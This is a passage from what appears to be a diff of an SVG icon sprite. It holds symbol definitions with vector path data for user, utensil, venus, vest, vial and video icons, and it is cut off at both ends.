14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z"></path> + </symbol> + <symbol id="user-edit" viewBox="0 0 640 512"> + <path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z"></path> + </symbol> + <symbol id="user-friends" viewBox="0 0 640 512"> + <path d="M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z"></path> + </symbol> + <symbol id="user-graduate" viewBox="0 0 448 512"> + <path d="M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z"></path> + </symbol> + <symbol id="user-injured" viewBox="0 0 448 512"> + <path d="M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z"></path> + </symbol> + <symbol id="user-lock" viewBox="0 0 640 512"> + <path d="M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z"></path> + </symbol> + <symbol id="user-md" viewBox="0 0 448 512"> + <path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z"></path> + </symbol> + <symbol id="user-minus" viewBox="0 0 640 512"> + <path d="M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"></path> + </symbol> + <symbol id="user-ninja" viewBox="0 0 448 512"> + <path d="M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z"></path> + </symbol> + <symbol id="user-nurse" viewBox="0 0 448 512"> + <path d="M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z"></path> + </symbol> + <symbol id="user-plus" viewBox="0 0 640 512"> + <path d="M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"></path> + </symbol> + <symbol id="user-secret" viewBox="0 0 448 512"> + <path d="M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z"></path> + </symbol> + <symbol id="user-shield" viewBox="0 0 640 512"> + <path d="M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z"></path> + </symbol> + <symbol id="user-slash" viewBox="0 0 640 512"> + <path d="M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z"></path> + </symbol> + <symbol id="user-tag" viewBox="0 0 640 512"> + <path d="M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z"></path> + </symbol> + <symbol id="user-tie" viewBox="0 0 448 512"> + <path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z"></path> + </symbol> + <symbol id="user-times" viewBox="0 0 640 512"> + <path d="M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"></path> + </symbol> + <symbol id="users" viewBox="0 0 640 512"> + <path d="M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"></path> + </symbol> + <symbol id="users-cog" viewBox="0 0 640 512"> + <path d="M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"></path> + </symbol> + <symbol id="users-slash" viewBox="0 0 640 512"> + <path d="M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z"></path> + </symbol> + <symbol id="utensil-spoon" viewBox="0 0 512 512"> + <path d="M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z"></path> + </symbol> + <symbol id="utensils" viewBox="0 0 416 512"> + <path d="M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z"></path> + </symbol> + <symbol id="vector-square" viewBox="0 0 512 512"> + <path d="M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z"></path> + </symbol> + <symbol id="venus" viewBox="0 0 288 512"> + <path d="M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"></path> + </symbol> + <symbol id="venus-double" viewBox="0 0 512 512"> + <path d="M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z"></path> + </symbol> + <symbol id="venus-mars" viewBox="0 0 576 512"> + <path d="M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"></path> + </symbol> + <symbol id="vest" viewBox="0 0 448 512"> + <path d="M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z"></path> + </symbol> + <symbol id="vest-patches" viewBox="0 0 448 512"> + <path d="M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z"></path> + </symbol> + <symbol id="vial" viewBox="0 0 480 512"> + <path d="M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z"></path> + </symbol> + <symbol id="vials" viewBox="0 0 640 512"> + <path d="M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z"></path> + </symbol> + <symbol id="video" viewBox="0 0 576 512"> + <path d="M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 